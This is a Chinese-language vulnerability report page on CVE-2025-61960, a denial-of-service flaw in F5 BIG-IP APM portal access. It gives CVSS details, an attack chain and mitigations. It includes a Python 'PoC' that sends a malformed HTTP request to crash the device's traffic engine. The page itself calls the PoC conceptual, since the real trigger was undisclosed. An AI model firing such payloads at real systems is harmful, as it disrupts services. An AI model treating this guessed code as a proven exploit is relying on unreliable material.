IPBUF安全漏洞报告
English
CVE-2025-61960 CVSS 7.5 高危

CVE-2025-61960:F5 BIG-IP APM 门户访问虚拟服务器拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-61960
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP APM(Access Policy Manager)

相关标签

拒绝服务DoSTMM终止F5 BIG-IPBIG-IP APM门户访问per-request policy高危漏洞网络攻击可用性影响

漏洞概述

CVE-2025-61960是F5 BIG-IP APM(Access Policy Manager)门户访问虚拟服务器中存在的一个高危拒绝服务漏洞。该漏洞的CVSS评分为7.5,属于高危级别。当BIG-IP APM门户访问虚拟服务器上配置了per-request policy(按请求策略)时,攻击者可以通过发送未经披露的特定流量,导致流量管理微内核(Traffic Management Microkernel,TMM)异常终止。由于TMM是F5 BIG-IP设备的核心数据平面处理引擎,负责所有网络流量的处理和转发,一旦TMM终止,将导致整个BIG-IP设备无法正常处理网络流量,造成服务中断。该漏洞的利用条件较为宽松,攻击者无需认证、无需用户交互,仅需通过网络即可发起攻击,对企业关键网络基础设施的可用性构成严重威胁。值得注意的是,F5官方明确表示已到达技术支持终止(End of Technical Support,EoTS)的软件版本不在此次评估范围内,因此使用旧版本的用户面临更大的安全风险。此漏洞由F5安全事件响应团队([email protected])发现并报告,体现了F5对产品安全的高度重视。该漏洞主要影响可用性,对机密性和完整性无直接影响,但服务中断可能导致业务损失和数据访问受阻等连锁反应。

技术细节

F5 BIG-IP APM的门户访问(Portal Access)功能允许用户通过Web浏览器安全访问企业内部Web应用。在该功能中,per-request policy(按请求策略)是一种细粒度的访问控制机制,用于在每个HTTP请求级别上执行策略决策。

该漏洞的根本原因在于TMM在处理特定流量模式时存在缺陷。当门户访问虚拟服务器上配置了per-request policy时,攻击者发送的特定未披露流量会触发TMM中的异常处理路径,导致TMM进程崩溃终止。由于TMM是BIG-IP设备的核心处理引擎,负责所有的流量转发、SSL卸载、策略执行等关键功能,TMM的终止将直接导致设备无法处理任何网络流量。

从攻击向量来看,该漏洞具有以下特点:
1. 攻击复杂度低(AC:L):无需复杂的攻击条件,仅需发送特定的网络流量即可触发;
2. 无需权限(PR:N):攻击者无需任何认证凭据即可发起攻击;
3. 无需用户交互(UI:N):漏洞的触发完全在服务端完成,不需要受害者参与;
4. 网络攻击向量(AV:N):可通过远程网络发起攻击。

漏洞的影响范围仅限于可用性(Availability: High),不影响数据的机密性和完整性。然而,对于依赖BIG-IP APM提供远程访问服务的企业而言,服务中断可能导致严重的业务影响。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者通过扫描互联网或内网,识别运行F5 BIG-IP APM门户访问功能的设备,确认目标虚拟服务器上是否配置了per-request policy。
STEP 2
步骤2:构造恶意流量
攻击者根据漏洞特征,构造能够触发TMM异常处理路径的特殊网络流量或HTTP请求,发送到BIG-IP APM门户访问虚拟服务器。
STEP 3
步骤3:发送攻击请求
攻击者通过网络向目标BIG-IP设备的门户访问虚拟服务器发送构造的恶意流量,无需认证和用户交互。
STEP 4
步骤4:触发TMM终止
恶意流量到达BIG-IP后,TMM在处理per-request policy时遇到异常,导致TMM进程崩溃终止。
STEP 5
步骤5:服务中断
TMM终止后,BIG-IP设备无法处理任何网络流量,所有通过该设备提供的服务(包括APM远程访问、负载均衡等)全部中断,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61960 PoC - F5 BIG-IP APM Portal Access DoS # Vulnerability: TMM termination via per-request policy on portal access virtual server # Note: This is a conceptual PoC based on vulnerability description import requests import socket import ssl import struct TARGET_HOST = "target_bigip_host" TARGET_PORT = 443 # HTTPS port for APM portal access def craft_malicious_request(): """ Craft a malicious HTTP request that triggers TMM termination when per-request policy is configured on BIG-IP APM portal access VS. The specific triggering payload is undisclosed by F5. """ # Build a malformed/specially crafted HTTP request # targeting the APM portal access endpoint payload = ( "GET /my.policy HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: Mozilla/5.0\r\n" "Accept: */*\r\n" "Connection: keep-alive\r\n" # Crafted headers to trigger per-request policy processing edge case "X-Forwarded-For: 127.0.0.1\r\n" "Content-Length: -1\r\n" # Invalid content length to trigger edge case "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" ) return payload.encode() def exploit(): """ Send crafted traffic to BIG-IP APM portal access virtual server to trigger TMM termination. """ try: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: payload = craft_malicious_request() ssock.send(payload) response = ssock.recv(4096) print(f"Response received: {response[:100]}") print("TMM may have terminated - check target availability") except Exception as e: print(f"Connection error (possible DoS success): {e}") if __name__ == "__main__": exploit()

影响范围

BIG-IP APM(具体受影响版本请参考F5官方安全公告K000156597)

防御指南

临时缓解措施
在无法立即升级到修复版本的情况下,建议采取以下临时缓解措施:1)暂时禁用BIG-IP APM门户访问虚拟服务器上的per-request policy配置,以消除漏洞触发条件;2)通过网络防火墙或访问控制列表(ACL)限制对BIG-IP APM门户访问端口的访问,仅允许可信IP地址访问;3)启用BIG-IP的高可用性配置,确保在TMM异常终止时能快速故障切换到备用设备;4)密切监控TMM进程状态和设备日志,设置告警规则以便及时发现异常;5)考虑使用Web应用防火墙(WAF)在BIG-IP前端过滤可疑流量,降低攻击成功率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表